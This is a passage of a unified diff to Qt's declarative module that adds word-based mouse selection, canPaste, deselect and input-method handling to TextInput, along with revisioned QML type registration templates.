     void updateSelection();
+    qreal implicitWidth() const;
     void focusChanged(bool);
 
     QString text;
@@ -110,6 +111,7 @@ public:
     bool showInputPanelOnFocus : 1;
     bool clickCausedFocus : 1;
     bool persistentSelection : 1;
+    bool requireImplicitWidth:1;
     qreal textMargin;
     int lastSelectionStart;
     int lastSelectionEnd;
@@ -119,8 +121,12 @@ public:
     QTextDocument *document;
     QTextControl *control;
     QDeclarativeTextEdit::WrapMode wrapMode;
+    QDeclarativeTextEdit::SelectionMode mouseSelectionMode;
+    int lineCount;
     bool selectByMouse;
+    bool canPaste;
     int yoff;
+    QSize paintedSize;
 };
 
 QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
index ef3404f..78f34db 100644
--- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
@@ -50,6 +50,9 @@
 #include <QApplication>
 #include <QFontMetrics>
 #include <QPainter>
+#include <QTextBoundaryFinder>
+#include <QInputContext>
+#include <qstyle.h>
 
 #ifndef QT_NO_LINEEDIT
 
@@ -75,7 +78,7 @@ QT_BEGIN_NAMESPACE
     \sa TextEdit, Text, {declarative/text/textselection}{Text Selection example}
 */
 QDeclarativeTextInput::QDeclarativeTextInput(QDeclarativeItem* parent)
-    : QDeclarativePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
+    : QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
 {
     Q_D(QDeclarativeTextInput);
     d->init();
@@ -353,6 +356,16 @@ void QDeclarativeTextInput::setHAlign(HAlignment align)
     emit horizontalAlignmentChanged(d->hAlign);
 }
 
+/*!
+    \qmlproperty bool TextInput::readOnly
+
+    Sets whether user input can modify the contents of the TextInput.
+
+    If readOnly is set to true, then user input will not affect the text
+    property. Any bindings or attempts to set the text property will still
+    work.
+*/
+
 bool QDeclarativeTextInput::isReadOnly() const
 {
     Q_D(const QDeclarativeTextInput);
@@ -365,11 +378,20 @@ void QDeclarativeTextInput::setReadOnly(bool ro)
     if (d->control->isReadOnly() == ro)
         return;
 
+    setFlag(QGraphicsItem::ItemAcceptsInputMethod, !ro);
     d->control->setReadOnly(ro);
 
     emit readOnlyChanged(ro);
 }
 
+/*!
+    \qmlproperty int TextInput::maximumLength
+    The maximum permitted length of the text in the TextInput.
+
+    If the text is too long, it is truncated at the limit.
+
+    By default, this property contains a value of 32767.
+*/
 int QDeclarativeTextInput::maxLength() const
 {
     Q_D(const QDeclarativeTextInput);
@@ -529,10 +551,10 @@ void QDeclarativeTextInput::select(int start, int end)
     It is equivalent to the following snippet, but is faster and easier
     to use.
 
-    \qml
+    \js
     myTextInput.text.toString().substring(myTextInput.selectionStart,
         myTextInput.selectionEnd);
-    \endqml
+    \endjs
 */
 QString QDeclarativeTextInput::selectedText() const
 {
@@ -593,6 +615,11 @@ void QDeclarativeTextInput::setAutoScroll(bool b)
     \ingroup qml-basic-visual-elements
 
     This element provides a validator for integer values.
+
+    IntValidator uses the \l {QLocale::setDefault()}{default locale} to interpret the number and
+    will accept locale specific digits, group separators, and positive and negative signs.  In
+    addition, IntValidator is always guaranteed to accept a number formatted according to the "C"
+    locale.
 */
 /*!
     \qmlproperty int IntValidator::top
@@ -750,6 +777,15 @@ bool QDeclarativeTextInput::hasAcceptableInput() const
 }
 
 /*!
+    \qmlsignal TextInput::onAccepted()
+
+    This handler is called when the Return or Enter key is pressed.
+    Note that if there is a \l validator or \l inputMask set on the text
+    input, the handler will only be emitted if the input is in an acceptable
+    state.
+*/
+
+/*!
     \qmlproperty enumeration TextInput::echoMode
 
     Specifies how the text should be displayed in the TextInput.
@@ -912,7 +948,7 @@ void QDeclarativeTextInputPrivate::focusChanged(bool hasFocus)
 {
     Q_Q(QDeclarativeTextInput);
     focused = hasFocus;
-    q->setCursorVisible(hasFocus);
+    q->setCursorVisible(hasFocus && scene && scene->hasFocus());
     if(q->echoMode() == QDeclarativeTextInput::PasswordEchoOnEdit && !hasFocus)
         control->updatePasswordEchoEditing(false);//QLineControl sets it on key events, but doesn't deal with focus events
     if (!hasFocus)
@@ -954,6 +990,7 @@ void QDeclarativeTextInput::inputMethodEvent(QInputMethodEvent *ev)
     } else {
         d->control->processInputMethodEvent(ev);
         updateSize();
+        d->updateHorizontalScroll();
     }
     if (!ev->isAccepted())
         QDeclarativePaintedItem::inputMethodEvent(ev);
@@ -966,6 +1003,8 @@ Handles the given mouse \a event.
 void QDeclarativeTextInput::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeTextInput);
+    if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonDblClick))
+        return;
     if (d->selectByMouse) {
         int cursor = d->xToPos(event->pos().x());
         d->control->selectWordAtPos(cursor);
@@ -978,6 +1017,8 @@ void QDeclarativeTextInput::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *even
 void QDeclarativeTextInput::mousePressEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeTextInput);
+    if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonPress))
+        return;
     if(d->focusOnPress){
         bool hadActiveFocus = hasActiveFocus();
         forceActiveFocus();
@@ -992,6 +1033,10 @@ void QDeclarativeTextInput::mousePressEvent(QGraphicsSceneMouseEvent *event)
             }
         }
     }
+    if (d->selectByMouse) {
+        setKeepMouseGrab(false);
+        d->pressPos = event->pos();
+    }
     bool mark = event->modifiers() & Qt::ShiftModifier;
     int cursor = d->xToPos(event->pos().x());
     d->control->moveCursor(cursor, mark);
@@ -1001,8 +1046,12 @@ void QDeclarativeTextInput::mousePressEvent(QGraphicsSceneMouseEvent *event)
 void QDeclarativeTextInput::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeTextInput);
+    if (d->sendMouseEventToInputContext(event, QEvent::MouseMove))
+        event->setAccepted(true);
     if (d->selectByMouse) {
-        d->control->moveCursor(d->xToPos(event->pos().x()), true);
+        if (qAbs(int(event->pos().x() - d->pressPos.x())) > QApplication::startDragDistance())
+            setKeepMouseGrab(true);
+        moveCursorSelection(d->xToPos(event->pos().x()), d->mouseSelectionMode);
         event->setAccepted(true);
     } else {
         QDeclarativePaintedItem::mouseMoveEvent(event);
@@ -1016,6 +1065,10 @@ Handles the given mouse \a event.
 void QDeclarativeTextInput::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeTextInput);
+    if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonRelease))
+        return;
+    if (d->selectByMouse)
+        setKeepMouseGrab(false);
     if (!d->showInputPanelOnFocus) { // input panel on click
         if (d->focusOnPress && !isReadOnly() && boundingRect().contains(event->pos())) {
             if (QGraphicsView * view = qobject_cast<QGraphicsView*>(qApp->focusWidget())) {
@@ -1031,6 +1084,53 @@ void QDeclarativeTextInput::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
         QDeclarativePaintedItem::mouseReleaseEvent(event);
 }
 
+bool QDeclarativeTextInputPrivate::sendMouseEventToInputContext(
+        QGraphicsSceneMouseEvent *event, QEvent::Type eventType)
+{
+#if !defined QT_NO_IM
+    if (event->widget() && control->composeMode()) {
+        int tmp_cursor = xToPos(event->pos().x());
+        int mousePos = tmp_cursor - control->cursor();
+        if (mousePos < 0 || mousePos > control->preeditAreaText().length()) {
+            mousePos = -1;
+            // don't send move events outside the preedit area
+            if (eventType == QEvent::MouseMove)
+                return true;
+        }
+
+        QInputContext *qic = event->widget()->inputContext();
+        if (qic) {
+            QMouseEvent mouseEvent(
+                    eventType,
+                    event->widget()->mapFromGlobal(event->screenPos()),
+                    event->screenPos(),
+                    event->button(),
+                    event->buttons(),
+                    event->modifiers());
+            // may be causing reset() in some input methods
+            qic->mouseHandler(mousePos, &mouseEvent);
+            event->setAccepted(mouseEvent.isAccepted());
+        }
+        if (!control->preeditAreaText().isEmpty())
+            return true;
+    }
+#else
+    Q_UNUSED(event);
+    Q_UNUSED(eventType)
+#endif
+
+    return false;
+}
+
+bool QDeclarativeTextInput::sceneEvent(QEvent *event)
+{
+    bool rv = QDeclarativeItem::sceneEvent(event);
+    if (event->type() == QEvent::UngrabMouse) {
+        setKeepMouseGrab(false);
+    }
+    return rv;
+}
+
 bool QDeclarativeTextInput::event(QEvent* ev)
 {
     Q_D(QDeclarativeTextInput);
@@ -1072,13 +1172,15 @@ int QDeclarativeTextInputPrivate::calculateTextWidth()
 void QDeclarativeTextInputPrivate::updateHorizontalScroll()
 {
     Q_Q(QDeclarativeTextInput);
-    int cix = qRound(control->cursorToX());
+    const int preeditLength = control->preeditAreaText().length();
+    int cix = qRound(control->cursorToX(control->cursor() + preeditLength));
     QRect br(q->boundingRect().toRect());
     int widthUsed = calculateTextWidth();
+    Qt::Alignment va = QStyle::visualAlignment(control->layoutDirection(), QFlag(Qt::Alignment(hAlign)));
     if (autoScroll) {
         if (widthUsed <=  br.width()) {
             // text fits in br; use hscroll for alignment
-            switch (hAlign & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
+            switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
             case Qt::AlignRight:
                 hscroll = widthUsed - br.width() - 1;
                 break;
@@ -1101,13 +1203,26 @@ void QDeclarativeTextInputPrivate::updateHorizontalScroll()
             // right
             hscroll = widthUsed - br.width() + 1;
         }
+        if (preeditLength > 0) {
+            // check to ensure long pre-edit text doesn't push the cursor
+            // off to the left
+             cix = qRound(control->cursorToX(
+                     control->cursor() + qMax(0, control->preeditCursor() - 1)));
+             if (cix < hscroll)
+                 hscroll = cix;
+        }
     } else {
-        if(hAlign == QDeclarativeTextInput::AlignRight){
+        switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
+        case Qt::AlignRight:
             hscroll = q->width() - widthUsed;
-        }else if(hAlign == QDeclarativeTextInput::AlignHCenter){
+            break;
+        case Qt::AlignHCenter:
             hscroll = (q->width() - widthUsed) / 2;
-        } else {
+            break;
+        default:
+            // Left
             hscroll = 0;
+            break;
         }
     }
 }
@@ -1169,6 +1284,17 @@ QVariant QDeclarativeTextInput::inputMethodQuery(Qt::InputMethodQuery property)
 }
 
 /*!
+    \qmlmethod void TextInput::deselect()
+
+    Removes active text selection.
+*/
+void QDeclarativeTextInput::deselect()
+{
+    Q_D(QDeclarativeTextInput);
+    d->control->deselect();
+}
+
+/*!
     \qmlmethod void TextInput::selectAll()
 
     Causes all text to be selected.
@@ -1211,7 +1337,8 @@ void QDeclarativeTextInput::copy()
 void QDeclarativeTextInput::paste()
 {
     Q_D(QDeclarativeTextInput);
-    d->control->paste();
+    if(!d->control->isReadOnly())
+        d->control->paste();
 }
 #endif // QT_NO_CLIPBOARD
 
@@ -1310,35 +1437,137 @@ void QDeclarativeTextInput::setSelectByMouse(bool on)
     }
 }
 
+/*!
+    \qmlproperty enum TextInput::mouseSelectionMode
+    \since Quick 1.1
+
+    Specifies how text should be selected using a mouse.
+
+    \list
+    \o TextInput.SelectCharacters - The selection is updated with individual characters. (Default)
+    \o TextInput.SelectWords - The selection is updated with whole words.
+    \endlist
+
+    This property only applies when \l selectByMouse is true.
+*/
+
+QDeclarativeTextInput::SelectionMode QDeclarativeTextInput::mouseSelectionMode() const
+{
+    Q_D(const QDeclarativeTextInput);
+    return d->mouseSelectionMode;
+}
+
+void QDeclarativeTextInput::setMouseSelectionMode(SelectionMode mode)
+{
+    Q_D(QDeclarativeTextInput);
+    if (d->mouseSelectionMode != mode) {
+        d->mouseSelectionMode = mode;
+        emit mouseSelectionModeChanged(mode);
+    }
+}
+
+bool QDeclarativeTextInput::canPaste() const
+{
+    Q_D(const QDeclarativeTextInput);
+    return d->canPaste;
+}
+
+void QDeclarativeTextInput::moveCursorSelection(int position)
+{
+    Q_D(QDeclarativeTextInput);
+    d->control->moveCursor(position, true);
+    d->updateHorizontalScroll();
+}
 
 /*!
-    \qmlmethod void TextInput::moveCursorSelection(int position)
+    \qmlmethod void TextInput::moveCursorSelection(int position, SelectionMode mode = TextInput.SelectCharacters)
+    \since Quick 1.1
 
-    Moves the cursor to \a position and updates the selection accordingly.
-    (To only move the cursor, set the \l cursorPosition property.)
+    Moves the cursor to \a position and updates the selection according to the optional \a mode
+    parameter.  (To only move the cursor, set the \l cursorPosition property.)
 
     When this method is called it additionally sets either the
     selectionStart or the selectionEnd (whichever was at the previous cursor position)
     to the specified position. This allows you to easily extend and contract the selected
     text range.
 
+    The selection mode specifies whether the selection is updated on a per character or a per word
+    basis.  If not specified the selection mode will default to TextInput.SelectCharacters.
+
+    \list
+    \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at
+    the previous cursor position) to the specified position.
+    \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all
+    words between the specified postion and the previous cursor position.  Words partially in the
+    range are included.
+    \endlist
+
     For example, take this sequence of calls:
 
     \code
         cursorPosition = 5
-        moveCursorSelection(9)
-        moveCursorSelection(7)
+        moveCursorSelection(9, TextInput.SelectCharacters)
+        moveCursorSelection(7, TextInput.SelectCharacters)
     \endcode
 
     This moves the cursor to position 5, extend the selection end from 5 to 9
     and then retract the selection end from 9 to 7, leaving the text from position 5 to 7
     selected (the 6th and 7th characters).
+
+    The same sequence with TextInput.SelectWords will extend the selection start to a word boundary
+    before or on position 5 and extend the selection end to a word boundary on or past position 9.
 */
-void QDeclarativeTextInput::moveCursorSelection(int position)
+void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
 {
     Q_D(QDeclarativeTextInput);
-    d->control->moveCursor(position, true);
-    d->updateHorizontalScroll();
+
+    if (mode == SelectCharacters) {
+        d->control->moveCursor(pos, true);
+    } else if (pos != d->control->cursor()){
+        const int cursor = d->control->cursor();
+        int anchor;
+        if (!d->control->hasSelectedText())
+            anchor = d->control->cursor();
+        else if (d->control->selectionStart() == d->control->cursor())
+            anchor = d->control->selectionEnd();
+        else
+            anchor = d->control->selectionStart();
+
+        if (anchor < pos || (anchor == pos && cursor < pos)) {
+            QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text());
+            finder.setPosition(anchor);
+
+            const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
+            if (!(reasons & QTextBoundaryFinder::StartWord)
+                    || ((reasons & QTextBoundaryFinder::EndWord) && anchor > cursor)) {
+                finder.toPreviousBoundary();
+            }
+            anchor = finder.position();
+
+            finder.setPosition(pos);
+            if (!finder.isAtBoundary())
+                finder.toNextBoundary();
+
+            d->control->setSelection(anchor, finder.position() - anchor);
+        } else if (anchor > pos || (anchor == pos && cursor > pos)) {
+            QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text());
+            finder.setPosition(anchor);
+
+            const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
+            if (!(reasons & QTextBoundaryFinder::EndWord)
+                    || ((reasons & QTextBoundaryFinder::StartWord) && anchor < cursor)) {
+                finder.toNextBoundary();
+            }
+
+            anchor = finder.position();
+
+            finder.setPosition(pos);
+            if (!finder.isAtBoundary())
+                 finder.toPreviousBoundary();
+
+            d->control->setSelection(anchor, finder.position() - anchor);
+        }
+    }
 }
 
 /*!
@@ -1474,6 +1703,14 @@ void QDeclarativeTextInputPrivate::init()
                q, SIGNAL(accepted()));
     q->connect(control, SIGNAL(updateNeeded(QRect)),
                q, SLOT(updateRect(QRect)));
+#ifndef QT_NO_CLIPBOARD
+    q->connect(q, SIGNAL(readOnlyChanged(bool)),
+            q, SLOT(q_canPasteChanged()));
+    q->connect(QApplication::clipboard(), SIGNAL(dataChanged()),
+            q, SLOT(q_canPasteChanged()));
+#endif // QT_NO_CLIPBOARD
+    q->connect(control, SIGNAL(updateMicroFocus()),
+               q, SLOT(updateMicroFocus()));
     q->updateSize();
     oldValidity = control->hasAcceptableInput();
     lastSelectionStart = 0;
@@ -1575,6 +1812,17 @@ void QDeclarativeTextInput::updateSize(bool needsRedraw)
     }
 }
 
+void QDeclarativeTextInput::q_canPasteChanged()
+{
+    Q_D(QDeclarativeTextInput);
+    bool old = d->canPaste;
+#ifndef QT_NO_CLIPBOARD
+    d->canPaste = !d->control->isReadOnly() && QApplication::clipboard()->text().length() != 0;
+#endif
+    if(d->canPaste != old)
+        emit canPasteChanged();
+}
+
 QT_END_NAMESPACE
 
 #endif // QT_NO_LINEEDIT
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
index abea0e8..e1e66a9 100644
--- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
@@ -43,7 +43,7 @@
 #define QDECLARATIVETEXTINPUT_H
 
 #include "private/qdeclarativetext_p.h"
-#include "private/qdeclarativepainteditem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p.h"
 
 #include <QGraphicsSceneMouseEvent>
 #include <QIntValidator>
@@ -58,11 +58,12 @@ QT_MODULE(Declarative)
 
 class QDeclarativeTextInputPrivate;
 class QValidator;
-class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem
+class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativeImplicitSizePaintedItem
 {
     Q_OBJECT
     Q_ENUMS(HAlignment)
     Q_ENUMS(EchoMode)
+    Q_ENUMS(SelectionMode)
 
     Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
     Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
@@ -94,6 +95,8 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem
     Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged)
     Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged)
     Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
+    Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
+    Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
 
 public:
     QDeclarativeTextInput(QDeclarativeItem* parent=0);
@@ -112,10 +115,16 @@ public:
         AlignHCenter = Qt::AlignHCenter
     };
 
+    enum SelectionMode {
+        SelectCharacters,
+        SelectWords
+    };
+
     //Auxilliary functions needed to control the TextInput from QML
     Q_INVOKABLE int positionAt(int x) const;
     Q_INVOKABLE QRectF positionToRectangle(int pos) const;
     Q_INVOKABLE void moveCursorSelection(int pos);
+    Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode);
 
     Q_INVOKABLE void openSoftwareInputPanel();
     Q_INVOKABLE void closeSoftwareInputPanel();
@@ -184,12 +193,16 @@ public:
     bool selectByMouse() const;
     void setSelectByMouse(bool);
 
+    SelectionMode mouseSelectionMode() const;
+    void setMouseSelectionMode(SelectionMode mode);
+
     bool hasAcceptableInput() const;
 
     void drawContents(QPainter *p,const QRect &r);
     QVariant inputMethodQuery(Qt::InputMethodQuery property) const;
 
     QRectF boundingRect() const;
+    bool canPaste() const;
 
 Q_SIGNALS:
     void textChanged();
@@ -216,6 +229,8 @@ Q_SIGNALS:
     void activeFocusOnPressChanged(bool activeFocusOnPress);
     void autoScrollChanged(bool autoScroll);
     void selectByMouseChanged(bool selectByMouse);
+    Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
+    Q_REVISION(1) void canPasteChanged();
 
 protected:
     virtual void geometryChanged(const QRectF &newGeometry,
@@ -225,6 +240,7 @@ protected:
     void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
     void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
     void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event);
+    bool sceneEvent(QEvent *event);
     void keyPressEvent(QKeyEvent* ev);
     void inputMethodEvent(QInputMethodEvent *);
     bool event(QEvent *e);
@@ -234,6 +250,7 @@ public Q_SLOTS:
     void selectAll();
     void selectWord();
     void select(int start, int end);
+    Q_REVISION(1) void deselect();
 #ifndef QT_NO_CLIPBOARD
     void cut();
     void copy();
@@ -248,6 +265,7 @@ private Q_SLOTS:
     void moveCursor();
     void cursorPosChanged();
     void updateRect(const QRect &r = QRect());
+    void q_canPasteChanged();
 
 private:
     Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeTextInput)
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
index 16827b3..ab2838b 100644
--- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
@@ -44,7 +44,7 @@
 
 #include "private/qdeclarativetextinput_p.h"
 
-#include "private/qdeclarativepainteditem_p_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
 
 #include <qdeclarative.h>
 
@@ -66,16 +66,17 @@
 
 QT_BEGIN_NAMESPACE
 
-class QDeclarativeTextInputPrivate : public QDeclarativePaintedItemPrivate
+class Q_AUTOTEST_EXPORT QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
 {
     Q_DECLARE_PUBLIC(QDeclarativeTextInput)
 public:
     QDeclarativeTextInputPrivate() : control(new QLineControl(QString())),
                  color((QRgb)0), style(QDeclarativeText::Normal),
                  styleColor((QRgb)0), hAlign(QDeclarativeTextInput::AlignLeft),
+                 mouseSelectionMode(QDeclarativeTextInput::SelectCharacters),
                  hscroll(0), oldScroll(0), focused(false), focusOnPress(true),
                  showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false),
-                 autoScroll(true), selectByMouse(false)
+                 autoScroll(true), selectByMouse(false), canPaste(false)
     {
 #ifdef Q_OS_SYMBIAN
         if (QSysInfo::symbianVersion() == QSysInfo::SV_SF_1 || QSysInfo::symbianVersion() == QSysInfo::SV_SF_3) {
@@ -103,6 +104,7 @@ public:
     void focusChanged(bool hasFocus);
     void updateHorizontalScroll();
     int calculateTextWidth();
+    bool sendMouseEventToInputContext(QGraphicsSceneMouseEvent *event, QEvent::Type eventType);
 
     QLineControl* control;
 
@@ -114,8 +116,10 @@ public:
     QDeclarativeText::TextStyle style;
     QColor  styleColor;
     QDeclarativeTextInput::HAlignment hAlign;
+    QDeclarativeTextInput::SelectionMode mouseSelectionMode;
     QPointer<QDeclarativeComponent> cursorComponent;
     QPointer<QDeclarativeItem> cursorItem;
+    QPointF pressPos;
 
     int lastSelectionStart;
     int lastSelectionEnd;
@@ -131,6 +135,11 @@ public:
     bool cursorVisible;
     bool autoScroll;
     bool selectByMouse;
+    bool canPaste;
+
+    static inline QDeclarativeTextInputPrivate *get(QDeclarativeTextInput *t) {
+        return t->d_func();
+    }
 };
 
 QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
index 065a388..a8082f8 100644
--- a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
+++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp
@@ -557,8 +557,9 @@ QDeclarativeVisualDataModelData::~QDeclarativeVisualDataModelData()
 void QDeclarativeVisualDataModelData::ensureProperties()
 {
     QDeclarativeVisualDataModelPrivate *modelPriv = QDeclarativeVisualDataModelPrivate::get(m_model);
-    if (modelPriv->m_metaDataCacheable && !modelPriv->m_metaDataCreated) {
-        modelPriv->createMetaData();
+    if (modelPriv->m_metaDataCacheable) {
+        if (!modelPriv->m_metaDataCreated)
+            modelPriv->createMetaData();
         if (modelPriv->m_metaDataCreated)
             m_meta->setCached(true);
     }
@@ -1076,7 +1077,7 @@ QDeclarativeItem *QDeclarativeVisualDataModel::item(int index, const QByteArray
         } else {
             delete data;
             delete ctxt;
-            qmlInfo(this, d->m_delegate->errors()) << "Error creating delgate";
+            qmlInfo(this, d->m_delegate->errors()) << "Error creating delegate";
         }
     }
     QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(nobj);
diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h
index 3017385..5da7901 100644
--- a/src/declarative/qml/qdeclarative.h
+++ b/src/declarative/qml/qdeclarative.h
@@ -113,6 +113,7 @@ int qmlRegisterType()
 
         0, 0,
 
+        0,
         0
     };
 
@@ -148,6 +149,7 @@ int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMin
 
         0, 0,
 
+        0,
         0
     };
 
@@ -181,12 +183,82 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c
 
         0, 0,
 
+        0,
         0
     };
 
     return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
 }
 
+template<typename T, int metaObjectRevision>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+{
+    QByteArray name(T::staticMetaObject.className());
+
+    QByteArray pointerName(name + '*');
+    QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+    QDeclarativePrivate::RegisterType type = {
+        1,
+
+        qRegisterMetaType<T *>(pointerName.constData()),
+        qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+        sizeof(T), QDeclarativePrivate::createInto<T>,
+        QString(),
+
+        uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject,
+
+        QDeclarativePrivate::attachedPropertiesFunc<T>(),
+        QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+        QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+        QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+        QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+        0, 0,
+
+        0,
+        metaObjectRevision
+    };
+
+    return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+template<typename T, int metaObjectRevision>
+int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor)
+{
+    QByteArray name(T::staticMetaObject.className());
+
+    QByteArray pointerName(name + '*');
+    QByteArray listName("QDeclarativeListProperty<" + name + ">");
+
+    QDeclarativePrivate::RegisterType type = {
+        1,
+
+        qRegisterMetaType<T *>(pointerName.constData()),
+        qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()),
+        sizeof(T), QDeclarativePrivate::createInto<T>,
+        QString(),
+
+        uri, versionMajor, versionMinor, 0, &T::staticMetaObject,
+
+        QDeclarativePrivate::attachedPropertiesFunc<T>(),
+        QDeclarativePrivate::attachedPropertiesMetaObject<T>(),
+
+        QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(),
+        QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(),
+        QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(),
+
+        0, 0,
+
+        0,
+        metaObjectRevision
+    };
+
+    return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+
 template<typename T, typename E>
 int qmlRegisterExtendedType()
 {
@@ -214,6 +286,7 @@ int qmlRegisterExtendedType()
 
         QDeclarativePrivate::createParent<E>, &E::staticMetaObject,
 
+        0,
         0
     };
 
@@ -255,6 +328,7 @@ int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor,
 
         QDeclarativePrivate::createParent<E>, &E::staticMetaObject,
 
+        0,
         0
     };
 
@@ -309,7 +383,8 @@ int qmlRegisterCustomType(const char *uri, int versionMajor, int versionMinor,
 
         0, 0,
 
-        parser
+        parser,
+        0
     };
 
     return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp
index d9dff44..a5bd604 100644
--- a/src/declarative/qml/qdeclarativebinding.cpp
+++ b/src/declarative/qml/qdeclarativebinding.cpp
@@ -46,9 +46,11 @@
 #include "qdeclarativecontext.h"
 #include "qdeclarativeinfo.h"
 #include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativecompiler_p.h"
 #include "private/qdeclarativedata_p.h"
 #include "private/qdeclarativestringconverters_p.h"
 #include "private/qdeclarativestate_p_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
 
 #include <QVariant>
 #include <QtCore/qdebug.h>
@@ -207,6 +209,8 @@ void QDeclarativeAbstractBinding::setEnabled(bool enabled, QDeclarativePropertyP
     if (enabled) update(flags);
 }
 
+QDeclarativeBinding::Identifier QDeclarativeBinding::Invalid = -1;
+
 void QDeclarativeBindingPrivate::refresh()
 {
     Q_Q(QDeclarativeBinding);
@@ -232,6 +236,28 @@ QDeclarativeBinding::QDeclarativeBinding(void *data, QDeclarativeRefCount *rc, Q
     setNotifyOnValueChanged(true);
 }
 
+QDeclarativeBinding *
+QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeContext *ctxt,
+                                   const QString &url, int lineNumber, QObject *parent)
+{
+    if (id < 0)
+        return 0;
+
+    QDeclarativeContextData *ctxtdata = QDeclarativeContextData::get(ctxt);
+
+    QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(qmlEngine(obj));
+    QDeclarativeCompiledData *cdata = 0;
+    QDeclarativeTypeData *typeData = 0;
+    if (engine && ctxtdata && !ctxtdata->url.isEmpty()) {
+        typeData = engine->typeLoader.get(ctxtdata->url);
+        cdata = typeData->compiledData();
+    }
